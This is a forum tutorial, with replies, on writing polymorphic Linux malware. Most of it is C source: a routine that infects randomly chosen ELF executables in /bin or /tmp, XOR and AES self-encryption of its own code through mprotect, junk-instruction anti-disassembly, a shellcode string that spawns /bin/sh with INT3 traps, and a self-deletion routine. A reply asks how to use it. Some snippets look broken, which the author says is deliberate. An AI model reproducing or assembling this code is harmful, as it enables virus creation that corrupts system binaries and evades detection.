Writing a simple, Stealthy malware

Introduction

This article will discuss and demonstrate how polymorphic malware use self-modification to hide its inner workings, In my previous post metamorphic malware, I explained how to write a malware with metamorphism features. So what is it, Well, Polymorphic malware is an old idea basically “is being able to assign a different behavior or value to something” which make it tricky to detect and protect against, Polymorphic malware takes advantage of encryption to obfuscate its original code effectively evading detection by traditional signature-based detection mechanisms. Source Code

encrypting the code, However, The effectiveness of AV has improved over time In the early days detection relied heavily on signature-based scanning which programs would compare files and system components against a database of known malware signatures. which a malware can still be deadly until they’re detected and signed by antivirus companies, Now AV focuses more on using A.I and implementing more sophisticated algorithms such as behavior-based detection (monitoring the actions and activities of running programs) Still, There are plenty of examples of malware ignored by everyone because they are silent enough not to attract the attention of the guards.

Background

  • I’m assuming you’re familiar with Encryption techniques, XOR encryption, memory access and protection – before continuing, it’s recommended you read up on these topics.

Overview

  • The malware designed to be simple in the way it behave but complex enough to not attract attention, The idea behind the malware is not about executing payload but only about obfuscation and self-modification we will explore code snippets that demonstrate the implementation of obfuscation. These snippets will provide insights into the specific techniques and mechanisms employed to evade detection, Finally I’ll provide a detailed explanation of each code segment, shedding light on the inner workings of the malware.

Execution flow

The malware scans the current directory and overwrites all executable files that have not been previously infected each propagation uses a unique version of the code, randomly selects an executable file and infects it by applying obfuscation techniques.The infected file becomes a carrier for the obfuscated code, allowing it to spread to other directories when executed.

Propagation

The malware scans the current directory and overwrites all executable files that have not been previously infected, Infect different directory based on user privileges.

// Entry point
void infectRandomExecutable(const char* directoryPath) {
        struct stat st;
      //   JUNK
    char* targetDirectory;
    if (getuid() == 0) {
        targetDirectory = "/bin";
    } else {
        targetDirectory = "/tmp";
    }
    DIR* dir = opendir(targetDirectory);
    if (dir == NULL) {
        ("opendir");
        return;
    }
    struct dirent* entry;
    int numExecutables = 0;
    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_type == DT_REG) {
            char* fileName = entry->d_name;
            if (isELF(fileName) && isClean(fileName)) {
                numExecutables++;
            }
        }
    }
    closedir(dir);
    if (numExecutables == 0) {
        printf("No executables found in %s\n", targetDirectory);
        return;
    }
          //   JUNK
    srand(time(NULL));
    int targetIndex = rand() % numExecutables + 1;
    dir = opendir(targetDirectory);
    int currentIdx = 0;
    while ((entry = readdir(dir)) != NULL) {
        if (entry->d_type == DT_REG) {
            char* fileName = entry->d_name;
            if (isELF(fileName) && isClean(fileName)) {
                currentIdx++;
                if (currentIdx == targetIndex) {
                    char fullPath[PATH_MAX];
                    snprintf(fullPath, sizeof(fullPath), "%s/%s", targetDirectory, fileName);
                    int vfd = open(fullPath, O_RDONLY);
                    infectHostFile(fullPath, vfd);
                    close(vfd);
                    printf("Successfully infected: %s\n", fullPath);
                    break;
                }
            }
        }
    }
    closedir(dir);
}

Obfuscation

The malware modifies its own instructions at runtime, enabling it to exhibit different behaviors dynamically, the self-modification is employed through the encryption process. The malware modifies the code section by XORing its bytes with a counter value. This process alters the code bytes, effectively encrypting the code section.

void b_xor(unsigned char* xorcode, size_t size) {
    unsigned char key[32];
    RAND_bytes(key, sizeof(key));
    for (int i = 0; i < XOR_ROUNDS; i++) {
        for (int j = 0; j < size; j++) {
            xorcode[j] ^= key[j % sizeof(key)];
        }
    }
}

The underlying idea behind XOR obfuscation is its use in one-time pad. Given a plaintext represented in bits, if it is XORed with a random key of equal length, then the resulting encryption is perfectly secure.

the plaintext represents a malware, then one can encrypt the malware by using a key of equivalent length. However, this requires huge key sizes. As a result, we use short key, single byte, and encrypt equivalent sized blocks. The use of a single byte is known as single-byte XOR encoding Due to short keys used in XOR encoding based obfuscation, there are various tools that can deobfuscate the malware or find the key. That’s why we randomly generate our key’s using

RAND_bytes(key, sizeof(key));
unsigned char* generateRandomKey(size_t size) {
    unsigned char* key = (unsigned char*)malloc(size);
    RAND_bytes(key, size);
    return key;
}

Self-modification

The encrypt_code function modifies the code section by XORing its bytes with a counter value derived from the initialization vector (IV). This process alters the code bytes, effectively encrypting the code section.By encrypting the code, the malware achieves polymorphic behavior because the encrypted code appears different each time it runs. This makes it challenging for static analysis techniques to detect and analyze the malicious behavior.

// get pointer to first byte of main function
uint8_t* code = (uint8_t*) &main;
// calculate page size and mask for page alignment
long pagesize = sysconf(_SC_PAGESIZE);
if (pagesize <= 0)
return 1;
size_t mask = pagesize - 1;
// align code to page boundary
void* alignedcode = (void*) ((size_t) code & ~mask);
// make code writable
if (mprotect(alignedcode, (size_t) code - (size_t) alignedcode + END, PROT_READ | PROT_WRITE | PROT_EXEC))
return 1;

The encrypt_code function takes a code section, size, key, and initialization vector (IV) as parameters. It encrypts the code section using AES encryption. It generates a counter value using the IV and XORs the code bytes with the counter. This effectively encrypts the code section.

void encrypt_code(unsigned char* xorcode, size_t size, unsigned char* key, size_t keylen) {
    AES_KEY aes_key;
    AES_set_encrypt_key(key, keylen * 8, &aes_key);
    AES_encrypt(xorcode, xorcode, &aes_key);
}

We also add a random delay before encryption by generating a delay between 0 and 999 milliseconds using srand and rand. It then sleeps for the calculated delay using usleep

// add random delay before encryption
srand(time(NULL));
int delay = rand() % 1000; // random delay between 0 and 999 milliseconds
usleep(delay * 1000);
// make code read-only and executable
if (mprotect(alignedcode, (size_t) code - (size_t) alignedcode + END, PROT_READ | PROT_EXEC))
return 1;

After the encryption process and delay, the code snippet makes the code section read-only and executable again using mprotect. This helps to enforce memory protection and prevent further modifications.

Anti-Analysis

In this part we use a various forms of anti-analysis measures, and self-modifying behavior, making it more difficult for analysts to understand the inner workings of the code and extract meaningful information

Anti-debugging

Anti-Debug Trick INT3 Trap Shellcode the INT3 instruction, triggers a breakpoint interrupt, commonly used for debugging purposes. By incorporating INT3 instructions strategically within the shellcode, it attempts to interrupt and disrupt the debugging process, making it difficult for a debugger to analyze the code flow.

char shellcode[] =
"\xeb\x63\x48\x89\xe6\x6a\x0d\x59"\
"\x6a\x01\xfe\x0c\x24\xe2\xf9\x80"\
"\xc9\x0d\x54\x48\x89\xe2\x0f\x05"\
"\xcc\x48\x31\xc0\x48\x89\xc7\xb0"\
"\x3c\xeb\xf3\x6a\x0d\x59\x4d\x31"\
"\xc9\x41\x51\xe2\xfc\x49\x89\xe1"\
"\x49\x83\xc1\x03\x41\x80\x09\x14"\
"\x49\x83\xc1\x0d\x66\x41\x83\x09"\
"\xff\xe8\xbc\xff\xff\xff\x99\x48"\
"\x31\xc0\xb0\x3b\x52\x48\xbf\x2f"\
"\x62\x69\x6e\x2f\x2f\x73\x68\x57"\
"\x54\x5f\x4d\x31\xc9\x4c\x89\xce"\
"\x48\x89\xf2\xeb\xb1\x6a\x0d\x58"\
"\x6a\x05\x5f\x6a\x08\x41\x5a\xeb"\
"\xb2";

Anti-disassembling

“junk code” we defined macro named JUNK, which consists of assembly instructions deliberately designed to confuse reverser, These instructions introduce meaningless code that can make the disassembly output more hard to know what exactly going on.

#define JUNK \

__asm__ volatile(
"xor %eax, %eax\n"\
"jz .+5 \n"\
".word 0xC483 \n"\
".byte 0x04 \n");

Autodestruction

This Part of the code will come as Kill-Switch sending the malware a command to delete itself from infected devices also it can be used as anti-analysis techniques. simply utilizing a combination of forking a child process and executing code in the child process, the autodestruction mechanism adds a layer of complexity to the self-destruction process. This complexity can make it more challenging for novice reversers or analysts to understand the behavior of the malware, By dynamically creating a detached thread and copying code instructions into memory, the autodestruction mechanism can avoid static analysis techniques that rely on examining the original executable file. Additionally, the attempts to delete the file and the usage of sleep delays further complicate the analysis process.

remote_thread that is executed in a remote process. It waits for the parent process to terminate using pthread_join, attempts to delete the file specified by szFileName using fnUnlink, and if the deletion fails, it sleeps for one second before trying again. Finally, it exits the remote process using fnExit

/* Routine to execute in remote process. */
static void remote_thread(SELFDEL *remote)
{
/* wait for parent process to terminate */
void *status;
pthread_join(pthread_self(), &status);
/* try to delete the executable file */
while(remote->fnUnlink(remote->szFileName) == -1)
{
/* failed - try again in one second's time */
remote->fnSleep(1);
}
/* finished! exit so that we don't execute garbage code */
remote->fnExit(0);
}

SelfDelete function that initiates the self-deletion process. It creates a child process using fork() and executes different code paths for the parent and child processes.

/* Delete currently running executable and exit */
int SelfDelete(int fRemoveDirectory)
{
SELFDEL local = {0};
pid_t pid = fork();
if (pid == -1) {
perror("fork");
return -1;
} else if (pid == 0) { // child process
// copy in binary code
memcpy(local.opCodes, &remote_thread, CODESIZE);
local.fnWaitForSingleObject = (void (*)(void *))pthread_join;
local.fnCloseHandle = (void (*)(void *))pthread_detach;
local.fnUnlink = unlink;
local.fnSleep = (void (*)(unsigned int))sleep;
local.fnExit = exit;
local.fRemDir = fRemoveDirectory;
getcwd(local.szFileName, PATH_MAX);
strcat(local.szFileName, "/");
strcat(local.szFileName, program_invocation_name);
// Give remote process a copy of our own process pid
local.hParent = getpid();
// create detached thread
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);
pthread_t tid;
int rc = pthread_create(&tid, &attr, (void *(*)(void *))&remote_thread, &local);
pthread_attr_destroy(&attr);
if (rc != 0) {
perror("pthread_create");
    return -1;
}
// sleep for a second before exiting
sleep(1);
    return 0;
} else { // parent process
    return 1;
    }
}

In the child process, it initializes the local structure with relevant information, such as copying the remote_thread code into opCodes, setting function pointers to appropriate functions, obtaining the file name using getcwd and program_invocation_name, and setting the parent process ID. It then creates a detached thread using pthread_create, passing the remote_thread function and the local structure as arguments. After a sleep of one second, it returns 0, indicating that it is the child process.

END

In this article, we explored propagation, infection, code obfuscation, and anti-analysis techniques. I hope you learned something from this. Please notice that this article is not meant to give script kiddies ready-made malware that they will be able to use. This article only has to teach you the basics of malware development.

12 Likes

from a fellow Moroccan to another .great article,information flow on point looking forward to seeing more of Ur writings

2 Likes

How to use this. Ian new. I only did some Phishing Websites and that all. Also my english ist Not that good.

I d Like to try your Malware. But i need some Help

This article only has to teach you the basics of programming, how malware operates in a sense, and maybe some techniques to learn from. However, for the same reasons the “malware” source code I share designed to not function properly unless you know what you’re doing, so if you’re not willing to understand how things work, don’t try it;

1 Like

0xf00 where can I contact you?

1 Like

This topic was automatically closed after 121 days. New replies are no longer allowed.